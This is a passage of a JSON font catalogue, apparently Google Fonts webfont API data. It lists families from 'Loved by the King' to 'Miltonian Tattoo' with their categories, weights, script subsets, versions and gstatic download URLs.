"category": "handwriting", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v9", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/lovedbytheking/v9/Gw6gwdP76VDVJNXerebZxUMeRXUF2PiNlXFu2R64.ttf" } }, { "kind": "webfonts#webfont", "family": "Lovers Quarrel", "category": "handwriting", "variants": [ "regular" ], "subsets": [ "latin", "latin-ext" ], "version": "v7", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/loversquarrel/v7/Yq6N-LSKXTL-5bCy8ksBzpQ_-zAsY7pO6siz.ttf" } }, { "kind": "webfonts#webfont", "family": "Luckiest Guy", "category": "display", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v10", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/luckiestguy/v10/_gP_1RrxsjcxVyin9l9n_j2RStR3qDpraA.ttf" } }, { "kind": "webfonts#webfont", "family": "Lusitana", "category": "serif", "variants": [ "regular", "700" ], "subsets": [ "latin" ], "version": "v7", "lastModified": "2019-07-16", "files": { "700": "http://fonts.gstatic.com/s/lusitana/v7/CSR74z9ShvucWzsMKyDmaccqYtd2vfwk.ttf", "regular": "http://fonts.gstatic.com/s/lusitana/v7/CSR84z9ShvucWzsMKxhaRuMiSct_.ttf" } }, { "kind": "webfonts#webfont", "family": "Lustria", "category": "serif", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v7", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/lustria/v7/9oRONYodvDEyjuhOrCg5MtPyAcg.ttf" } }, { "kind": "webfonts#webfont", "family": "M PLUS 1p", "category": "sans-serif", "variants": [ "100", "300", "regular", "500", "700", "800", "900" ], "subsets": [ "cyrillic", "cyrillic-ext", "greek", "greek-ext", "hebrew", "japanese", "latin", "latin-ext", "vietnamese" ], "version": "v19", "lastModified": "2020-03-03", "files": { "100": "http://fonts.gstatic.com/s/mplus1p/v19/e3tleuShHdiFyPFzBRrQnDQAUW3aq-5N.ttf", "300": "http://fonts.gstatic.com/s/mplus1p/v19/e3tmeuShHdiFyPFzBRrQVBYge0PWovdU4w.ttf", "500": "http://fonts.gstatic.com/s/mplus1p/v19/e3tmeuShHdiFyPFzBRrQDBcge0PWovdU4w.ttf", "700": "http://fonts.gstatic.com/s/mplus1p/v19/e3tmeuShHdiFyPFzBRrQRBEge0PWovdU4w.ttf", "800": "http://fonts.gstatic.com/s/mplus1p/v19/e3tmeuShHdiFyPFzBRrQWBIge0PWovdU4w.ttf", "900": "http://fonts.gstatic.com/s/mplus1p/v19/e3tmeuShHdiFyPFzBRrQfBMge0PWovdU4w.ttf", "regular": "http://fonts.gstatic.com/s/mplus1p/v19/e3tjeuShHdiFyPFzBRro-D4Ec2jKqw.ttf" } }, { "kind": "webfonts#webfont", "family": "M PLUS Rounded 1c", "category": "sans-serif", "variants": [ "100", "300", "regular", "500", "700", "800", "900" ], "subsets": [ "cyrillic", "cyrillic-ext", "greek", "greek-ext", "hebrew", "japanese", "latin", "latin-ext", "vietnamese" ], "version": "v10", "lastModified": "2019-11-05", "files": { "100": "http://fonts.gstatic.com/s/mplusrounded1c/v10/VdGCAYIAV6gnpUpoWwNkYvrugw9RuM3ixLsg6-av1x0.ttf", "300": "http://fonts.gstatic.com/s/mplusrounded1c/v10/VdGBAYIAV6gnpUpoWwNkYvrugw9RuM0q5psKxeqmzgRK.ttf", "500": "http://fonts.gstatic.com/s/mplusrounded1c/v10/VdGBAYIAV6gnpUpoWwNkYvrugw9RuM1y55sKxeqmzgRK.ttf", "700": "http://fonts.gstatic.com/s/mplusrounded1c/v10/VdGBAYIAV6gnpUpoWwNkYvrugw9RuM064ZsKxeqmzgRK.ttf", "800": "http://fonts.gstatic.com/s/mplusrounded1c/v10/VdGBAYIAV6gnpUpoWwNkYvrugw9RuM0m4psKxeqmzgRK.ttf", "900": "http://fonts.gstatic.com/s/mplusrounded1c/v10/VdGBAYIAV6gnpUpoWwNkYvrugw9RuM0C45sKxeqmzgRK.ttf", "regular": "http://fonts.gstatic.com/s/mplusrounded1c/v10/VdGEAYIAV6gnpUpoWwNkYvrugw9RuPWGzr8C7vav.ttf" } }, { "kind": "webfonts#webfont", "family": "Ma Shan Zheng", "category": "handwriting", "variants": [ "regular" ], "subsets": [ "chinese-simplified", "latin" ], "version": "v5", "lastModified": "2019-11-05", "files": { "regular": "http://fonts.gstatic.com/s/mashanzheng/v5/NaPecZTRCLxvwo41b4gvzkXaRMTsDIRSfr0.ttf" } }, { "kind": "webfonts#webfont", "family": "Macondo", "category": "display", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v8", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/macondo/v8/RrQQboN9-iB1IXmOS2XO0LBBd4Y.ttf" } }, { "kind": "webfonts#webfont", "family": "Macondo Swash Caps", "category": "display", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v7", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/macondoswashcaps/v7/6NUL8EaAJgGKZA7lpt941Z9s6ZYgDq6Oekoa_mm5bA.ttf" } }, { "kind": "webfonts#webfont", "family": "Mada", "category": "sans-serif", "variants": [ "200", "300", "regular", "500", "600", "700", "900" ], "subsets": [ "arabic", "latin" ], "version": "v8", "lastModified": "2019-07-16", "files": { "200": "http://fonts.gstatic.com/s/mada/v8/7Au_p_0qnzeSdf3nCCL8zkwMIFg.ttf", "300": "http://fonts.gstatic.com/s/mada/v8/7Au_p_0qnzeSdZnkCCL8zkwMIFg.ttf", "500": "http://fonts.gstatic.com/s/mada/v8/7Au_p_0qnzeSdcHlCCL8zkwMIFg.ttf", "600": "http://fonts.gstatic.com/s/mada/v8/7Au_p_0qnzeSde3iCCL8zkwMIFg.ttf", "700": "http://fonts.gstatic.com/s/mada/v8/7Au_p_0qnzeSdYnjCCL8zkwMIFg.ttf", "900": "http://fonts.gstatic.com/s/mada/v8/7Au_p_0qnzeSdbHhCCL8zkwMIFg.ttf", "regular": "http://fonts.gstatic.com/s/mada/v8/7Auwp_0qnzeSTTXMLCrX0kU.ttf" } }, { "kind": "webfonts#webfont", "family": "Magra", "category": "sans-serif", "variants": [ "regular", "700" ], "subsets": [ "latin", "latin-ext" ], "version": "v8", "lastModified": "2019-07-16", "files": { "700": "http://fonts.gstatic.com/s/magra/v8/uK_w4ruaZus72nbNDxcXEPuUX1ow.ttf", "regular": "http://fonts.gstatic.com/s/magra/v8/uK_94ruaZus72k5xIDMfO-ed.ttf" } }, { "kind": "webfonts#webfont", "family": "Maiden Orange", "category": "display", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v10", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/maidenorange/v10/kJE1BuIX7AUmhi2V4m08kb1XjOZdCZS8FY8.ttf" } }, { "kind": "webfonts#webfont", "family": "Maitree", "category": "serif", "variants": [ "200", "300", "regular", "500", "600", "700" ], "subsets": [ "latin", "latin-ext", "thai", "vietnamese" ], "version": "v4", "lastModified": "2019-07-16", "files": { "200": "http://fonts.gstatic.com/s/maitree/v4/MjQDmil5tffhpBrklhGNWJGovLdh6OE.ttf", "300": "http://fonts.gstatic.com/s/maitree/v4/MjQDmil5tffhpBrklnWOWJGovLdh6OE.ttf", "500": "http://fonts.gstatic.com/s/maitree/v4/MjQDmil5tffhpBrkli2PWJGovLdh6OE.ttf", "600": "http://fonts.gstatic.com/s/maitree/v4/MjQDmil5tffhpBrklgGIWJGovLdh6OE.ttf", "700": "http://fonts.gstatic.com/s/maitree/v4/MjQDmil5tffhpBrklmWJWJGovLdh6OE.ttf", "regular": "http://fonts.gstatic.com/s/maitree/v4/MjQGmil5tffhpBrkrtmmfJmDoL4.ttf" } }, { "kind": "webfonts#webfont", "family": "Major Mono Display", "category": "monospace", "variants": [ "regular" ], "subsets": [ "latin", "latin-ext", "vietnamese" ], "version": "v4", "lastModified": "2019-11-22", "files": { "regular": "http://fonts.gstatic.com/s/majormonodisplay/v4/RWmVoLyb5fEqtsfBX9PDZIGr2tFubRhLCn2QIndPww.ttf" } }, { "kind": "webfonts#webfont", "family": "Mako", "category": "sans-serif", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v11", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/mako/v11/H4coBX6Mmc_Z0ST09g478Lo.ttf" } }, { "kind": "webfonts#webfont", "family": "Mali", "category": "handwriting", "variants": [ "200", "200italic", "300", "300italic", "regular", "italic", "500", "500italic", "600", "600italic", "700", "700italic" ], "subsets": [ "latin", "latin-ext", "thai", "vietnamese" ], "version": "v3", "lastModified": "2019-11-05", "files": { "200": "http://fonts.gstatic.com/s/mali/v3/N0bV2SRONuN4QOLlKlRaJdbWgdY.ttf", "300": "http://fonts.gstatic.com/s/mali/v3/N0bV2SRONuN4QIbmKlRaJdbWgdY.ttf", "500": "http://fonts.gstatic.com/s/mali/v3/N0bV2SRONuN4QN7nKlRaJdbWgdY.ttf", "600": "http://fonts.gstatic.com/s/mali/v3/N0bV2SRONuN4QPLgKlRaJdbWgdY.ttf", "700": "http://fonts.gstatic.com/s/mali/v3/N0bV2SRONuN4QJbhKlRaJdbWgdY.ttf", "200italic": "http://fonts.gstatic.com/s/mali/v3/N0bX2SRONuN4SCj8wlVQIfTTkdbJYA.ttf", "300italic": "http://fonts.gstatic.com/s/mali/v3/N0bX2SRONuN4SCj8plZQIfTTkdbJYA.ttf", "regular": "http://fonts.gstatic.com/s/mali/v3/N0ba2SRONuN4eCrODlxxOd8.ttf", "italic": "http://fonts.gstatic.com/s/mali/v3/N0bU2SRONuN4SCjECn50Kd_PmA.ttf", "500italic": "http://fonts.gstatic.com/s/mali/v3/N0bX2SRONuN4SCj8_ldQIfTTkdbJYA.ttf", "600italic": "http://fonts.gstatic.com/s/mali/v3/N0bX2SRONuN4SCj80lBQIfTTkdbJYA.ttf", "700italic": "http://fonts.gstatic.com/s/mali/v3/N0bX2SRONuN4SCj8tlFQIfTTkdbJYA.ttf" } }, { "kind": "webfonts#webfont", "family": "Mallanna", "category": "sans-serif", "variants": [ "regular" ], "subsets": [ "latin", "telugu" ], "version": "v7", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/mallanna/v7/hv-Vlzx-KEQb84YaDGwzEzRwVvJ-.ttf" } }, { "kind": "webfonts#webfont", "family": "Mandali", "category": "sans-serif", "variants": [ "regular" ], "subsets": [ "latin", "telugu" ], "version": "v8", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/mandali/v8/LhWlMVbYOfASNfNUVFk1ZPdcKtA.ttf" } }, { "kind": "webfonts#webfont", "family": "Manjari", "category": "sans-serif", "variants": [ "100", "regular", "700" ], "subsets": [ "latin", "malayalam" ], "version": "v2", "lastModified": "2019-11-05", "files": { "100": "http://fonts.gstatic.com/s/manjari/v2/k3kSo8UPMOBO2w1UdbroK2vFIaOV8A.ttf", "700": "http://fonts.gstatic.com/s/manjari/v2/k3kVo8UPMOBO2w1UdWLNC0HrLaqM6Q4.ttf", "regular": "http://fonts.gstatic.com/s/manjari/v2/k3kQo8UPMOBO2w1UTd7iL0nAMaM.ttf" } }, { "kind": "webfonts#webfont", "family": "Manrope", "category": "sans-serif", "variants": [ "200", "300", "regular", "500", "600", "700", "800" ], "subsets": [ "cyrillic", "greek", "latin", "latin-ext" ], "version": "v1", "lastModified": "2020-04-21", "files": { "200": "http://fonts.gstatic.com/s/manrope/v1/xn7_YHE41ni1AdIRqAuZuw1Bx9mbZk59FO_F87jxeN7B.ttf", "300": "http://fonts.gstatic.com/s/manrope/v1/xn7_YHE41ni1AdIRqAuZuw1Bx9mbZk6jFO_F87jxeN7B.ttf", "500": "http://fonts.gstatic.com/s/manrope/v1/xn7_YHE41ni1AdIRqAuZuw1Bx9mbZk7PFO_F87jxeN7B.ttf", "600": "http://fonts.gstatic.com/s/manrope/v1/xn7_YHE41ni1AdIRqAuZuw1Bx9mbZk4jE-_F87jxeN7B.ttf", "700": "http://fonts.gstatic.com/s/manrope/v1/xn7_YHE41ni1AdIRqAuZuw1Bx9mbZk4aE-_F87jxeN7B.ttf", "800": "http://fonts.gstatic.com/s/manrope/v1/xn7_YHE41ni1AdIRqAuZuw1Bx9mbZk59E-_F87jxeN7B.ttf", "regular": "http://fonts.gstatic.com/s/manrope/v1/xn7_YHE41ni1AdIRqAuZuw1Bx9mbZk79FO_F87jxeN7B.ttf" } }, { "kind": "webfonts#webfont", "family": "Mansalva", "category": "handwriting", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v1", "lastModified": "2020-03-03", "files": { "regular": "http://fonts.gstatic.com/s/mansalva/v1/aWB4m0aacbtDfvq5NJllI47vdyBg.ttf" } }, { "kind": "webfonts#webfont", "family": "Manuale", "category": "serif", "variants": [ "regular", "500", "600", "700", "italic", "500italic", "600italic", "700italic" ], "subsets": [ "latin", "latin-ext", "vietnamese" ], "version": "v6", "lastModified": "2020-02-05", "files": { "500": "http://fonts.gstatic.com/s/manuale/v6/f0Xp0eas_8Z-TFZdHv3mMxFaSqASeeHWe7wD1TB_JHHY.ttf", "600": "http://fonts.gstatic.com/s/manuale/v6/f0Xp0eas_8Z-TFZdHv3mMxFaSqASeeE6fLwD1TB_JHHY.ttf", "700": "http://fonts.gstatic.com/s/manuale/v6/f0Xp0eas_8Z-TFZdHv3mMxFaSqASeeEDfLwD1TB_JHHY.ttf", "regular": "http://fonts.gstatic.com/s/manuale/v6/f0Xp0eas_8Z-TFZdHv3mMxFaSqASeeHke7wD1TB_JHHY.ttf", "italic": "http://fonts.gstatic.com/s/manuale/v6/f0Xn0eas_8Z-TFZdNPTUzMkzITq8fvQsOFRA3zRdIWHYr8M.ttf", "500italic": "http://fonts.gstatic.com/s/manuale/v6/f0Xn0eas_8Z-TFZdNPTUzMkzITq8fvQsOGZA3zRdIWHYr8M.ttf", "600italic": "http://fonts.gstatic.com/s/manuale/v6/f0Xn0eas_8Z-TFZdNPTUzMkzITq8fvQsOIpH3zRdIWHYr8M.ttf", "700italic": "http://fonts.gstatic.com/s/manuale/v6/f0Xn0eas_8Z-TFZdNPTUzMkzITq8fvQsOLNH3zRdIWHYr8M.ttf" } }, { "kind": "webfonts#webfont", "family": "Marcellus", "category": "serif", "variants": [ "regular" ], "subsets": [ "latin", "latin-ext" ], "version": "v7", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/marcellus/v7/wEO_EBrOk8hQLDvIAF8FUfAL3EsHiA.ttf" } }, { "kind": "webfonts#webfont", "family": "Marcellus SC", "category": "serif", "variants": [ "regular" ], "subsets": [ "latin", "latin-ext" ], "version": "v7", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/marcellussc/v7/ke8iOgUHP1dg-Rmi6RWjbLEPgdydGKikhA.ttf" } }, { "kind": "webfonts#webfont", "family": "Marck Script", "category": "handwriting", "variants": [ "regular" ], "subsets": [ "cyrillic", "latin", "latin-ext" ], "version": "v10", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/marckscript/v10/nwpTtK2oNgBA3Or78gapdwuCzyI-aMPF7Q.ttf" } }, { "kind": "webfonts#webfont", "family": "Margarine", "category": "display", "variants": [ "regular" ], "subsets": [ "latin", "latin-ext" ], "version": "v8", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/margarine/v8/qkBXXvoE6trLT9Y7YLye5JRLkAXbMQ.ttf" } }, { "kind": "webfonts#webfont", "family": "Markazi Text", "category": "serif", "variants": [ "regular", "500", "600", "700" ], "subsets": [ "arabic", "latin", "latin-ext", "vietnamese" ], "version": "v11", "lastModified": "2020-04-21", "files": { "500": "http://fonts.gstatic.com/s/markazitext/v11/sykh-ydym6AtQaiEtX7yhqb_rV1k_81ZVYYZtcaQT4MlBekmJLo.ttf", "600": "http://fonts.gstatic.com/s/markazitext/v11/sykh-ydym6AtQaiEtX7yhqb_rV1k_81ZVYYZtSqXT4MlBekmJLo.ttf", "700": "http://fonts.gstatic.com/s/markazitext/v11/sykh-ydym6AtQaiEtX7yhqb_rV1k_81ZVYYZtROXT4MlBekmJLo.ttf", "regular": "http://fonts.gstatic.com/s/markazitext/v11/sykh-ydym6AtQaiEtX7yhqb_rV1k_81ZVYYZtfSQT4MlBekmJLo.ttf" } }, { "kind": "webfonts#webfont", "family": "Marko One", "category": "serif", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v9", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/markoone/v9/9Btq3DFG0cnVM5lw1haaKpUfrHPzUw.ttf" } }, { "kind": "webfonts#webfont", "family": "Marmelad", "category": "sans-serif", "variants": [ "regular" ], "subsets": [ "cyrillic", "latin", "latin-ext" ], "version": "v9", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/marmelad/v9/Qw3eZQdSHj_jK2e-8tFLG-YMC0R8.ttf" } }, { "kind": "webfonts#webfont", "family": "Martel", "category": "serif", "variants": [ "200", "300", "regular", "600", "700", "800", "900" ], "subsets": [ "devanagari", "latin", "latin-ext" ], "version": "v4", "lastModified": "2019-07-17", "files": { "200": "http://fonts.gstatic.com/s/martel/v4/PN_yRfK9oXHga0XVqekahRbX9vnDzw.ttf", "300": "http://fonts.gstatic.com/s/martel/v4/PN_yRfK9oXHga0XVzeoahRbX9vnDzw.ttf", "600": "http://fonts.gstatic.com/s/martel/v4/PN_yRfK9oXHga0XVuewahRbX9vnDzw.ttf", "700": "http://fonts.gstatic.com/s/martel/v4/PN_yRfK9oXHga0XV3e0ahRbX9vnDzw.ttf", "800": "http://fonts.gstatic.com/s/martel/v4/PN_yRfK9oXHga0XVwe4ahRbX9vnDzw.ttf", "900": "http://fonts.gstatic.com/s/martel/v4/PN_yRfK9oXHga0XV5e8ahRbX9vnDzw.ttf", "regular": "http://fonts.gstatic.com/s/martel/v4/PN_xRfK9oXHga0XtYcI-jT3L_w.ttf" } }, { "kind": "webfonts#webfont", "family": "Martel Sans", "category": "sans-serif", "variants": [ "200", "300", "regular", "600", "700", "800", "900" ], "subsets": [ "devanagari", "latin", "latin-ext" ], "version": "v6", "lastModified": "2019-07-16", "files": { "200": "http://fonts.gstatic.com/s/martelsans/v6/h0GxssGi7VdzDgKjM-4d8hAX5suHFUknqMxQ.ttf", "300": "http://fonts.gstatic.com/s/martelsans/v6/h0GxssGi7VdzDgKjM-4d8hBz5cuHFUknqMxQ.ttf", "600": "http://fonts.gstatic.com/s/martelsans/v6/h0GxssGi7VdzDgKjM-4d8hAH48uHFUknqMxQ.ttf", "700": "http://fonts.gstatic.com/s/martelsans/v6/h0GxssGi7VdzDgKjM-4d8hBj4suHFUknqMxQ.ttf", "800": "http://fonts.gstatic.com/s/martelsans/v6/h0GxssGi7VdzDgKjM-4d8hB_4cuHFUknqMxQ.ttf", "900": "http://fonts.gstatic.com/s/martelsans/v6/h0GxssGi7VdzDgKjM-4d8hBb4MuHFUknqMxQ.ttf", "regular": "http://fonts.gstatic.com/s/martelsans/v6/h0GsssGi7VdzDgKjM-4d8ijfze-PPlUu.ttf" } }, { "kind": "webfonts#webfont", "family": "Marvel", "category": "sans-serif", "variants": [ "regular", "italic", "700", "700italic" ], "subsets": [ "latin" ], "version": "v9", "lastModified": "2019-07-16", "files": { "700": "http://fonts.gstatic.com/s/marvel/v9/nwpWtKeoNgBV0qawLXHgB1WmxwkiYQ.ttf", "regular": "http://fonts.gstatic.com/s/marvel/v9/nwpVtKeoNgBV0qaIkV7ED366zg.ttf", "italic": "http://fonts.gstatic.com/s/marvel/v9/nwpXtKeoNgBV0qa4k1TALXuqzhA7.ttf", "700italic": "http://fonts.gstatic.com/s/marvel/v9/nwpQtKeoNgBV0qa4k2x8Al-i5QwyYdrc.ttf" } }, { "kind": "webfonts#webfont", "family": "Mate", "category": "serif", "variants": [ "regular", "italic" ], "subsets": [ "latin" ], "version": "v8", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/mate/v8/m8JdjftRd7WZ2z28WoXSaLU.ttf", "italic": "http://fonts.gstatic.com/s/mate/v8/m8JTjftRd7WZ6z-2XqfXeLVdbw.ttf" } }, { "kind": "webfonts#webfont", "family": "Mate SC", "category": "serif", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v8", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/matesc/v8/-nF8OGQ1-uoVr2wKyiXZ95OkJwA.ttf" } }, { "kind": "webfonts#webfont", "family": "Maven Pro", "category": "sans-serif", "variants": [ "regular", "500", "600", "700", "800", "900" ], "subsets": [ "latin", "latin-ext", "vietnamese" ], "version": "v20", "lastModified": "2020-02-05", "files": { "500": "http://fonts.gstatic.com/s/mavenpro/v20/7Auup_AqnyWWAxW2Wk3swUz56MS91Eww8Rf25nCpozp5GvU.ttf", "600": "http://fonts.gstatic.com/s/mavenpro/v20/7Auup_AqnyWWAxW2Wk3swUz56MS91Eww8fvx5nCpozp5GvU.ttf", "700": "http://fonts.gstatic.com/s/mavenpro/v20/7Auup_AqnyWWAxW2Wk3swUz56MS91Eww8cLx5nCpozp5GvU.ttf", "800": "http://fonts.gstatic.com/s/mavenpro/v20/7Auup_AqnyWWAxW2Wk3swUz56MS91Eww8aXx5nCpozp5GvU.ttf", "900": "http://fonts.gstatic.com/s/mavenpro/v20/7Auup_AqnyWWAxW2Wk3swUz56MS91Eww8Yzx5nCpozp5GvU.ttf", "regular": "http://fonts.gstatic.com/s/mavenpro/v20/7Auup_AqnyWWAxW2Wk3swUz56MS91Eww8SX25nCpozp5GvU.ttf" } }, { "kind": "webfonts#webfont", "family": "McLaren", "category": "display", "variants": [ "regular" ], "subsets": [ "latin", "latin-ext" ], "version": "v7", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/mclaren/v7/2EbnL-ZuAXFqZFXISYYf8z2Yt_c.ttf" } }, { "kind": "webfonts#webfont", "family": "Meddon", "category": "handwriting", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v12", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/meddon/v12/kmK8ZqA2EgDNeHTZhBdB3y_Aow.ttf" } }, { "kind": "webfonts#webfont", "family": "MedievalSharp", "category": "display", "variants": [ "regular" ], "subsets": [ "latin", "latin-ext" ], "version": "v12", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/medievalsharp/v12/EvOJzAlL3oU5AQl2mP5KdgptAq96MwvXLDk.ttf" } }, { "kind": "webfonts#webfont", "family": "Medula One", "category": "display", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v9", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/medulaone/v9/YA9Wr0qb5kjJM6l2V0yukiEqs7GtlvY.ttf" } }, { "kind": "webfonts#webfont", "family": "Meera Inimai", "category": "sans-serif", "variants": [ "regular" ], "subsets": [ "latin", "tamil" ], "version": "v4", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/meerainimai/v4/845fNMM5EIqOW5MPuvO3ILep_2jDVevnLQ.ttf" } }, { "kind": "webfonts#webfont", "family": "Megrim", "category": "display", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v10", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/megrim/v10/46kulbz5WjvLqJZlbWXgd0RY1g.ttf" } }, { "kind": "webfonts#webfont", "family": "Meie Script", "category": "handwriting", "variants": [ "regular" ], "subsets": [ "latin", "latin-ext" ], "version": "v7", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/meiescript/v7/_LOImzDK7erRjhunIspaMjxn5IXg0WDz.ttf" } }, { "kind": "webfonts#webfont", "family": "Merienda", "category": "handwriting", "variants": [ "regular", "700" ], "subsets": [ "latin", "latin-ext" ], "version": "v8", "lastModified": "2019-07-17", "files": { "700": "http://fonts.gstatic.com/s/merienda/v8/gNMAW3x8Qoy5_mf8uWu-Fa-y1sfpPES4.ttf", "regular": "http://fonts.gstatic.com/s/merienda/v8/gNMHW3x8Qoy5_mf8uVMCOou6_dvg.ttf" } }, { "kind": "webfonts#webfont", "family": "Merienda One", "category": "handwriting", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v10", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/meriendaone/v10/H4cgBXaMndbflEq6kyZ1ht6YgoyyYzFzFw.ttf" } }, { "kind": "webfonts#webfont", "family": "Merriweather", "category": "serif", "variants": [ "300", "300italic", "regular", "italic", "700", "700italic", "900", "900italic" ], "subsets": [ "cyrillic", "cyrillic-ext", "latin", "latin-ext", "vietnamese" ], "version": "v21", "lastModified": "2019-07-22", "files": { "300": "http://fonts.gstatic.com/s/merriweather/v21/u-4n0qyriQwlOrhSvowK_l521wRpX837pvjxPA.ttf", "700": "http://fonts.gstatic.com/s/merriweather/v21/u-4n0qyriQwlOrhSvowK_l52xwNpX837pvjxPA.ttf", "900": "http://fonts.gstatic.com/s/merriweather/v21/u-4n0qyriQwlOrhSvowK_l52_wFpX837pvjxPA.ttf", "300italic": "http://fonts.gstatic.com/s/merriweather/v21/u-4l0qyriQwlOrhSvowK_l5-eR7lXcf_hP3hPGWH.ttf", "regular": "http://fonts.gstatic.com/s/merriweather/v21/u-440qyriQwlOrhSvowK_l5OeyxNV-bnrw.ttf", "italic": "http://fonts.gstatic.com/s/merriweather/v21/u-4m0qyriQwlOrhSvowK_l5-eSZJdeP3r-Ho.ttf", "700italic": "http://fonts.gstatic.com/s/merriweather/v21/u-4l0qyriQwlOrhSvowK_l5-eR71Wsf_hP3hPGWH.ttf", "900italic": "http://fonts.gstatic.com/s/merriweather/v21/u-4l0qyriQwlOrhSvowK_l5-eR7NWMf_hP3hPGWH.ttf" } }, { "kind": "webfonts#webfont", "family": "Merriweather Sans", "category": "sans-serif", "variants": [ "300", "300italic", "regular", "italic", "700", "700italic", "800", "800italic" ], "subsets": [ "latin", "latin-ext" ], "version": "v11", "lastModified": "2019-07-17", "files": { "300": "http://fonts.gstatic.com/s/merriweathersans/v11/2-c49IRs1JiJN1FRAMjTN5zd9vgsFH1eYBDD2BdWzIqY.ttf", "700": "http://fonts.gstatic.com/s/merriweathersans/v11/2-c49IRs1JiJN1FRAMjTN5zd9vgsFH1OZxDD2BdWzIqY.ttf", "800": "http://fonts.gstatic.com/s/merriweathersans/v11/2-c49IRs1JiJN1FRAMjTN5zd9vgsFH1SZBDD2BdWzIqY.ttf", "300italic": "http://fonts.gstatic.com/s/merriweathersans/v11/2-c29IRs1JiJN1FRAMjTN5zd9vgsFHXwepzB0hN0yZqYcqw.ttf", "regular": "http://fonts.gstatic.com/s/merriweathersans/v11/2-c99IRs1JiJN1FRAMjTN5zd9vgsFEXySDTL8wtf.ttf", "italic": "http://fonts.gstatic.com/s/merriweathersans/v11/2-c79IRs1JiJN1FRAMjTN5zd9vgsFHXwQjDp9htf1ZM.ttf", "700italic": "http://fonts.gstatic.com/s/merriweathersans/v11/2-c29IRs1JiJN1FRAMjTN5zd9vgsFHXweozG0hN0yZqYcqw.ttf", "800italic": "http://fonts.gstatic.com/s/merriweathersans/v11/2-c29IRs1JiJN1FRAMjTN5zd9vgsFHXwepDF0hN0yZqYcqw.ttf" } }, { "kind": "webfonts#webfont", "family": "Metal", "category": "display", "variants": [ "regular" ], "subsets": [ "khmer" ], "version": "v12", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/metal/v12/lW-wwjUJIXTo7i3nnoQAUdN2.ttf" } }, { "kind": "webfonts#webfont", "family": "Metal Mania", "category": "display", "variants": [ "regular" ], "subsets": [ "latin", "latin-ext" ], "version": "v9", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/metalmania/v9/RWmMoKWb4e8kqMfBUdPFJeXCg6UKDXlq.ttf" } }, { "kind": "webfonts#webfont", "family": "Metamorphous", "category": "display", "variants": [ "regular" ], "subsets": [ "latin", "latin-ext" ], "version": "v10", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/metamorphous/v10/Wnz8HA03aAXcC39ZEX5y1330PCCthTsmaQ.ttf" } }, { "kind": "webfonts#webfont", "family": "Metrophobic", "category": "sans-serif", "variants": [ "regular" ], "subsets": [ "latin", "latin-ext", "vietnamese" ], "version": "v13", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/metrophobic/v13/sJoA3LZUhMSAPV_u0qwiAT-J737FPEEL.ttf" } }, { "kind": "webfonts#webfont", "family": "Michroma", "category": "sans-serif", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v10", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/michroma/v10/PN_zRfy9qWD8fEagAMg6rzjb_-Da.ttf" } }, { "kind": "webfonts#webfont", "family": "Milonga", "category": "display", "variants": [ "regular" ], "subsets": [ "latin", "latin-ext" ], "version": "v7", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/milonga/v7/SZc53FHnIaK9W5kffz3GkUrS8DI.ttf" } }, { "kind": "webfonts#webfont", "family": "Miltonian", "category": "display", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v13", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/miltonian/v13/zOL-4pbPn6Ne9JqTg9mr6e5As-FeiQ.ttf" } }, { "kind": "webfonts#webfont", "family": "Miltonian Tattoo", "category": "display", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v15", "lastModified": "2019-07-16", "files": { "regular": 